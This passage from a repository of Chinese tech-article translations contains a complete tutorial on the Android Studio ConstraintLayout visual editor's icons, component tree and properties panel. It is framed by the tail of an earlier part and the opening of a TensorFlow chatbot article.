的右边。欢呼吧，现在我们已经知道该如何使用这个布局。只要你掌握了阅读的方法就是很简单的。\n\n**app:layout_constraintRight_toRightOf=”parent”:**\n\n在这里我指定了渲染的顺序。嗨，让我(当前的 TextView)的右边缘和父组件的右边对齐。现在，我的宽度就是从 ImageView 的右边到父组件右边这么多了。这就是为什么我们将宽度设为 0dp。\n\n**着重注意：**\n\n这里没有 match_parent 属性，就算你用了也没用。你必须使用 parent 属性。你肯定要问为什么了，可是我也不知道。但是我觉得使用 parent 会让你在阅读 XML 更明确。\n\n\n**app:layout_constraintTop_toTopOf=”parent”:**\n\n在这里我指定了渲染的顺序。嗨，把我(当前的 TextView)的上边缘和父组件的上边缘对齐。这样我就始终在上面了。\n\n现在大家最重要的事就是去练习练习了。我花费了大量的时间去学习这个布局，但希望你能节省点时间。\n\n现在我想向你展示完成时的可视化编辑器显示的样子。\n\n[![screen-shot-2017-01-07-at-11-24-22-am](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-11.24.22-AM-1024x798.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-07-at-11.24.22-AM.png)\n\n现在你可以暂停一下了。尝试去实现同样的例子。当你完成适应了这个布局就可以尝试我下面提到的这些标签了。\n\n    app:layout_constraintTop_toTopOf=\"@id/view\"\n    app:layout_constraintTop_toBottomOf=\"@id/view\"\n    app:layout_constraintRight_toLeftOf=\"@id/view\"\n    app:layout_constraintRight_toRightOf=\"@id/view\"\n    app:layout_constraintBottom_toBottomOf=\"@id/view\"\n    app:layout_constraintBottom_toTopOf=\"@id/view\"\n    app:layout_constraintLeft_toLeftOf=\"@id/view\"\n    app:layout_constraintLeft_toRightOf=\"@id/view\"\n    app:layout_constraintStart_toStartOf=\"@id/view\"\n    app:layout_constraintStart_toEndOf=\"@id/view\"\n    app:layout_constraintEnd_toStartOf=\"@id/view\"\n    app:layout_constraintEnd_toEndOf=\"@id/view\"\n\n在试过之后。找一个合适的时间，我们将会在下一篇文章中说一些 ConstraintLayout 的新知识。掌握了这些标签后学点新东西也就不是什么难事了。\n\n那么大家，是时候说再见了。让我们在下一篇文章中再会。\n\n[**Constraint Layout Concepts ( What the hell is this )[ (Tips and Tricks) Part 2 ]**](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)\n"
  },
  {
    "path": "TODO/constraint-layout-visual-design-editor-hell.md",
    "content": "> * 原文地址：[Constraint Layout Visual [Design] Editor ( What the hell is this )[Part4]](http://www.uwanttolearn.com/android/constraint-layout-visual-design-editor-hell/)\n* 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[yazhi1992](https://github.com/yazhi1992)\n* 校对者：[phxnirvana](https://github.com/phxnirvana)，[tanglie1993](https://github.com/tanglie1993)\n\n# ConstraintLayout 可视化[Design]编辑器 （这到底是什么）[第四部分]\n\n哇哦，又是新的一天。为了不浪费这宝贵的时光，让我们来学点新知识吧 🙂 。\n\n大家好，希望各位都有所进步。在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md), [第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md) 和 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-animations-dynamic-constraints-ui-java-hell.md)这些文章中我们已经学习了许多关于 ConstraintLayout 的知识。现在是时候来学习这个神奇布局的剩余内容了。顺便一提，本文是 Constraint Layout（这到底是什么）系列的最后一篇文章了。\n\n**动机：**\n\n学习动机与先前在[第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-hell.md)中讨论的是一样的。这篇文章里我们将会学习如何使用可视化编辑器（Visual Editor）。有一些地方我会引用到[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)的内容。我将会使用可视化编辑器来实现一些，我们已经讨论过怎样在 XML 或者 Java 中实现的概念。通过这种方式我们可以节省许多的时间。\n\n我们需要下载 2.3 版本的 Android studio。先前版本的可视化编辑器不太完善，有时会在 Design 面板上显示错误的信息。所以下载 2.3 beta 版是非常重要的，该版本在我写这篇文章时已经可以获取到了。\n\n**引言**\n\n在这篇文章里我们大部分都是使用可视化编辑器，用到 XML 的机会比较少。那么让我们开始吧！\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-7.40.17-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-7.40.17-AM.png)\n\n在上图中我标出了五个红色的方框。这就是整个可视化编辑器了。在开始介绍之前有一个问题。那就是：了解各个组成部分以及它们的名字真的那么重要吗？在我看来，如果我们只是想要独立完成某些工作，那么通过一遍又一遍地重复那些工作就可以掌握相应的技能，并不需要了解术语。但如果我们想要帮助社区里的成员，或者说我们想要成为一名优秀的团队合作者，我们就应该学习所有相关的术语。这确实很有用，我将会展示给你们看。\n\n我知道大多数人不是很了解（或许有一些人了解 🙂）什么是 Palette, Component Tree, Properties 等等，但是我将会使用这些术语来描述流程。任何从事 UI 工作的开发人员都会遵循这些步骤。\n\n从 Palette 窗口选取 UI 组件 -> 拖拽到 Design 编辑器中 -> 在 Property 窗口中改变组件的属性（宽度，高度，文字，外边距，内边距… 等等） -> 在 Design 编辑器中调整约束关系。\n\n总共四个步骤，我再重复一遍。\n\nPalette 窗口 ->  Design 编辑器 -> Properties 窗口 ->  Design 编辑器\n\n我们构建 UI 时 90% 都是这样的基本流程。如果你知道这些术语，你就可以轻易地想象出我们说的是什么。接下来我会向大家介绍我刚刚提到的那些术语到底是什么，以及我们怎么在可视化编辑器中找到它们。\n\n**Palette:**\n\n提供了一系列的部件（widgets）和布局（layouts），你可以将其拖拽到位于编辑器中的布局里。（官方文档介绍）\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.24.43-AM-188x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.24.43-AM.png)\n\n在这里你可以获取到 Android 提供的所有 UI 组件。在右上角有一个搜索图标，你可以通过搜索节省寻找的时间。搜索图标的右边还有一个设置图标。点击这个酷炫的图标，你可以根据个人喜好更改 UI 组件的外观。\n\n**Design 编辑器:**\n\n通过设计（Design）视图和蓝图（Blueprint）视图来预览你的布局。（官方文档介绍）\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.35.45-AM-300x280.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.35.45-AM.png)\n\n上图就是 Design 编辑器。在 Design 编辑器里我们有两种模式可选，一种是设计模式（Design），另一种是文本模式（Text）。首先我们来看设计模式。\n\n上图中我们看到的两个布局其实是同一个布局。左边那部分就是我们将在设备中看到的 UI 界面。右边那部分称之为蓝图（blueprint）。当你在设计时这些都非常有用。你可以很轻易地看到每个视图的外边距、边缘以及它们之间是否有冲突。我就当作你们已经知道了怎么去拖拽视图到 Design 编辑器中，并且知道怎么去创建与父布局或其他视图的约束关系。我要开始介绍下一个步骤了。\n\n从上图中可以看到有许多的图标。是时候来介绍一下这些图标到底是什么以及使用它们可以带来什么好处。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.51.15-AM-300x23.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-8.51.15-AM.png)\n\n在开始之前，为了便于后面解释，我会给这些图标起个名。从左到右开始分别是：**眼睛**图标、**磁铁**图标、**交叉箭头**图标、**星星**图标、**数字**盒子、**背包**图标、**对齐**图标、**指示线**图标、**放大**图标、**缩小**图标、**适应屏幕**图标、**平移缩放**图标、**警告和错误**图标。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.56.38-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.56.38-AM.png) **眼睛图标：**\n\n这个图标很有用，尤其是当我们的界面上有大量的视图时。如果这个图标处于打开状态，这意味着我们同时可以看到所有视图的约束关系。比如当我只在调整一个按钮时，我却可以看到其他所有视图的约束关系。如果关闭了该功能，你就仅仅只能看到选中视图的约束，如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-13-57-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-13-57.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.08-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.08-AM.png) **磁铁图标：**\n\n如果你了解了这个图标会节省许多的时间。老实说我不太擅长使用这个图标，但是我会把我所知道的都告诉你。如果这个图标处于关闭状态，你在 Design 编辑器里可以拖拽或移动你的视图，但你必须手动构建约束。如果这个图标处于打开状态，这时编辑器就会自动构建与父视图的约束。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-29-49-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-29-49.gif)\n\n如上图所示。一开始图标处于关闭状态，我将我的 ImageView 移动到居中的位置，但什么都没有发生。之后我将磁铁图标打开了，神奇的事情发生了。我将我的 ImageView 移动到居中的位置，编辑器自动为我构建了约束。哇哦！\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.17-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.17-AM.png) **交叉箭头图标：**\n\n这个图标非常简单也非常酷炫。如果我想要清空所有的约束，只要点击这个图标，然后所有的约束都会被移除掉。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-37-29-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-37-29.gif)\n\n如上图所示，自动约束（磁铁图标）是打开的，这就是为什么当我将视图移动到水平居中时会自动构建约束，但是当我点击了这个图标，所有的约束都被移除掉了。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.37-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.55.37-AM.png) **星星图标：**\n\n这又是一个酷炫的图标。与交叉（清空约束）图标正好相反。我可以随意地拖拽视图而不用为它们构建约束。当我操作完成时只要点击一下这个图标，就可以自动构建出所有的约束，如下图所示。我很喜欢这个功能。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-46-52-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-46-52.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.57.41-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-9.57.41-AM.png) **数字盒子：**\n\n作用是为你的父布局设置默认的外边距。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-53-25-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-09-53-25.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.57.05-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.57.05-AM.png) **背包图标：**\n\n这个图标包含了许多功能。我会一个个地解释。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.24.29-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.24.29-AM.png)\n\n因为没有选中任何视图，所以一开始在 Design 编辑器中所有的图标都是不可点击的。有一些图标在选中了单个视图后可用，另外一些图标在选中多个视图后可用。首先我来解释一下那些选中单个视图后可用的图标。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.27.50-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.27.50-AM.png)\n\n当我选中了一个视图，有两个图标会变为可用的，如下图所示。让我们来看一下它们可以做些什么。\n\n我点击了左边的图标，可以看到视图的宽度扩展到了屏幕边缘，但是请记住，这只是以 dp 为单位使用数值实现的效果而不是所谓的 match_parent(parent)。这就意味着如果在屏幕宽度更大的设备上，这个视图就无法扩展到屏幕边缘了。右边的图标也是一样的功能，只不过是作用于垂直方向的。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-36-54-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-36-54.gif)\n\n还有一件事别忘了。如果你点击了扩展宽度或高度的图标，而选中视图的宽高却只扩展到了相邻的视图边缘。不要感到困惑。因为在上面的例子中布局里只有一个视图，所以它填充满了父布局的宽高。下面的例子中我会给你看点不一样的。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-40-53-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-40-53.gif)\n\n在开始介绍那些与多选视图有关的图标之前，还有一点是值得注意的，你在选中多个视图时仍然可以使用那些单选视图时可用的图标，如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-47-42-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-10-47-42.gif)\n\n现在让我们开始学习那些多选视图后可用的图标吧。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.50.12-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.50.12-AM.png)\n\n当我在 Design 编辑器里选中多个视图后，剩下的几个图标就都变为可用的了。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.55.32-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-10.55.32-AM.png)\n\n这两个图标功能是一样的，只不过一个用于水平方向，另一个用于垂直方向。当我点击了水平方向的图标后，所有视图都会水平方向对齐。那么随之而来的问题是：这和上面刚学习过的那对图标有什么区别呢？\n\n区别在于，上面的图标通过扩展尺寸（来对齐）。而这两个图标并不会扩展尺寸，而是将视图平移至互相对齐。**另外值得注意的是**，这只是在 Design 编辑器中设定了值，如果你运行到设备上你是无法获得在 Design 编辑器中显示的效果的。你需要自己去构建约束。但其实你可以先通过使用这些图标来对齐视图，这样可以节省很多时间，然后再构建约束，这样你就可以在设备上得到适当的效果。让我们来看一下点击这些图标之后会发生什么吧。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-03-02-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-03-02.gif)\n\n接着再来解释剩下的两个图标。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.04.33-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.04.33-AM.png)\n\n同样的，这两个图标也有着一样的功能，只不过作用的方向不一样。\n\n用不着去移动位置或者改变数值，我只要点击左边的图标，就可以为所有选中的视图构建水平方向的约束。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-14-06-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-14-06.gif)\n\n还可以通过双击图标将视图链接成链。如果你对链不太了解，你可以去阅读该系列博客的[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)。那篇文章里介绍了什么是链以及使用链带来的好处。\n\n在下图中你可以看到如何使用编辑器构建链。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-17-59-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-17-59.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.57.13-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.57.13-AM.png) **对齐图标：**\n\n这个图标的弹出菜单里包含了多达 11 个图标。其中 4 个图标在选中单个视图时可用，其余的在选中多个视图时可用。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.24.49-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.24.49-AM.png)\n\n首先我来介绍一下底部那四个在选中单个视图时可用的图标吧。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.27.28-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.27.28-AM.png)\n\n第一个图标的作用是将视图相对于相邻视图水平居中并构建约束。\n\n第二个图标的作用是将视图相对于相邻视图垂直居中并构建约束。\n\n第三个图标的作用是将视图相对于父布局水平居中并构建约束。\n\n第四个图标的作用是将视图相对于父布局垂直居中并构建约束。\n\n这些图标实现的效果如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-32-52-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-32-52.gif)\n\n现在就剩下那些选中多个视图后可用的图标了。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.38.45-AM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-11.38.45-AM.png)\n\n先来介绍上面的三个：\n\n第一个图标的作用是将所有选中视图左对齐于所选中视图的左边缘并构建约束。\n\n第二个图标的作用是将所有选中视图都水平居中并构建约束。\n\n第三个图标的作用是将所有选中视图右对齐于所选中视图的右边缘并构建约束。\n\n这些图标实现的效果如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-45-56-221x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-45-56.gif)\n\n下面的四个图标的作用是一样的，只不过是作用于垂直反向。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.46-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.46-PM.png) **指示线图标：**\n\n我们已经在[第二部分](https://github.com/xitu/gold-miner/blob/master/TODO/constraint-layout-concepts-hell-tips-tricks-part-2.md)中讨论过什么是指示线以及使用它会带来什么好处了。这里我就不再多介绍了。你可以放心地在 UI 中添加指示线因为它不算作视图。现在有了这个图标，我们可以使用它来添加指示线，如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-03-28-208x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-03-28.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.52-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.52-PM.png)\n\n**放大、缩小、适应屏幕图标：**\n\n这个大家应该都懂就不用多说了吧。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.59-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.04.59-PM.png) **平移缩放图标：**\n\n当我处理一些要放大很多倍，并且还需要拖动界面的工作时，这个图标就非常有用了。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-53-29-300x278.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-11-53-29.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.05.06-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.05.06-PM.png) **警告和错误图标：**\n\n当我在构建我的 UI 时，这个图标非常有用。只要点击一下这个图标，就可以看到是否有任何错误或者警告发生。\n\n到这里，我们终于结束了对可视化编辑器设计模式（Design mode）的学习。是时候开始看看我是怎么在文本模式（Text mode）里工作的了。\n\n除了通过编辑器来改变属性外，刚刚我们在设计模式中做的所有事情都可以在文本模式中做到。除此之外，我们还可以编写 XML。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.13.10-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.13.10-PM.png)\n\n工具栏：\n\n提供了一些按钮用来配置编辑器中的布局外观以及编辑布局的属性。（官方文档介绍）\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.19.33-PM-300x16.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.19.33-PM.png)\n\n我只准备介绍工具栏中的前三个和最后一个图标。其他的图标以前就有了，我相信大家对它们都非常熟悉。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.22.03-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.22.03-PM.png)\n\n**设计视图模式（Design View Mode）图标：**\n\n第一个会显示纯粹的 UI 布局。\n\n第二个会显示我们的 UI 布局的蓝图。\n\n第三个则两种都显示。\n\n这些图标实现的效果如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-27-10-300x293.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-27-10.gif)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.22.10-PM.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.22.10-PM.png) **多布局图标：**\n\n当我想要为不同的布局创建不同的布局文件时这个图标就可以帮上大忙。就比如我想要单独创建一个横屏的布局。使用这个图标我可以很快地创建好而不用进入文件夹中。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-32-50.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-32-50.gif)\n\n**组件树（Component Tree）：**\n\n展示你的布局的界面层级。单击某一项可以将其在编辑器中选中。（官方文档介绍）\n\n这个窗口很有用，尤其是当我在 Design 编辑器中并且有大量的图标层层堆叠时，这时很难去选中某些视图旁边的一些视图。在这种情况下，我一般都会使用它来选中我想要的视图。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-40-09.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-40-09.gif)\n\n\n**Properties：**\n\n提供了对当前选中视图的属性控制。（官方文档介绍）\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.42.57-PM-1-170x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.42.57-PM-1.png)\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.43.21-PM-172x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.43.21-PM.png)\n\n面板由上图所示的两部分组成。这里我只介绍第一张图里的东西，因为第二张图里的东西在 Android Studio 诞生之初就已经存在了，所以应该不用我多说了吧。至于如何切换这两种视图，如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-52-07-165x300.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-12-52-07.gif)\n\n让我们开始学习第一个属性窗口里的新东西吧！如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.54.24-PM-296x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-12.54.24-PM.png)\n\n我们要探索的主要分为两大部分。第一部分是方形内部，这部分是用来设置视图的尺寸。另一部分是方形外部的蓝色的线条，这些是用来调整视图的约束关系的。\n\n**方形内部：**\n\n在方形内部我们可以看到三种形态。\n\n1.Wrap content:\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.03.38-PM-150x150.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.03.38-PM.png)\n\n所有的视图都有 wrap_content 的概念，这里也是一样。现在我们可以在 Design 编辑器中设定该属性了。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-43-51.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-43-51.gif)\n\n这里我将一个原本属性为 match_parent，match_parent 的按钮修改为了 wrap_content，wrap_content。\n\n2.固定尺寸：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.03.53-PM-150x150.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.03.53-PM.png)\n\n固定尺寸指的是像我们给宽度和高度设定 dp 值一样，现在我们可以直接在 UI 界面里做到。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-47-34.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-47-34.gif)\n\n这里我将一个属性为 wrap_content，wrap_content 的按钮更改成了固定尺寸，并通过拖拽来设定值。\n\n3.任意尺寸：\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.04.11-PM-150x150.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-1.04.11-PM.png)\n\n任意尺寸在我们构建约束时非常有用。就比如我没有给视图设置任何约束，并将其设置为任意尺寸，视图就会变为 0 dp，0 dp。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-54-36.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-54-36.gif)\n\n现在我要对这个按钮施加左右约束，之后将其宽高设置为任意尺寸，这时按钮会填充所有剩余的空间。如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-57-53.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-14-57-53.gif)\n\n现在是时候学习有关如何设置视图的约束值了。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-3.00.12-PM-291x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Screen-Shot-2017-01-28-at-3.00.12-PM.png)\n\n上图中所有红色的方形区域包含了选中视图的所有约束设置。\n\n这些线条的作用如下图所示。\n\n[![](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-15-06-36.gif)](http://www.uwanttolearn.com/wp-content/uploads/2017/01/Jan-28-2017-15-06-36.gif)\n\n上图中有一个按钮，我为该按钮构建了左侧值为 24 dp 的约束。之后我将值修改为 207 dp，最后我通过点击小圆点将约束移除。有一点值得注意的是，这些值不是约束，而是外边距。你只能在构建约束后设置该值。\n\n希望你们喜欢我的 Constraint Layout（这到底是什么） 这一系列教程。今天我们完成了所有我对 Constraint Layout 了解的内容的介绍。\n\n下次我们再一起学点新的知识吧。**再见**。周末愉快 🙂 。\n"
  },
  {
    "path": "TODO/contextual-chat-bots-with-tensorflow.md",
    "content": "\n> * 原文地址：[Contextual Chatbots with Tensorflow](https://chatbotsmagazine.com/contextual-chat-bots-with-tensorflow-4391749d0077)\n> * 原文作者：[gk_](https://chatbotsmagazine.com/@gk_)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/contextual-chat-bots-with-tensorflow.md](https://github.com/xitu/gold-miner/blob/master/TODO/contextual-chat-bots-with-tensorflow.md)\n> * 译者：[edvardhua](https://github.com/edvardHua)\n> * 校对者：[lileizhenshuai](https://github.com/lileizhenshuai), [jasonxia23](https://github.com/jasonxia23)\n\n# 基于 TensorFlow 的上下文机器人\n\n在对话中， **语境决定了一切！** ，在这篇文章中我们将使用 TensorFlow 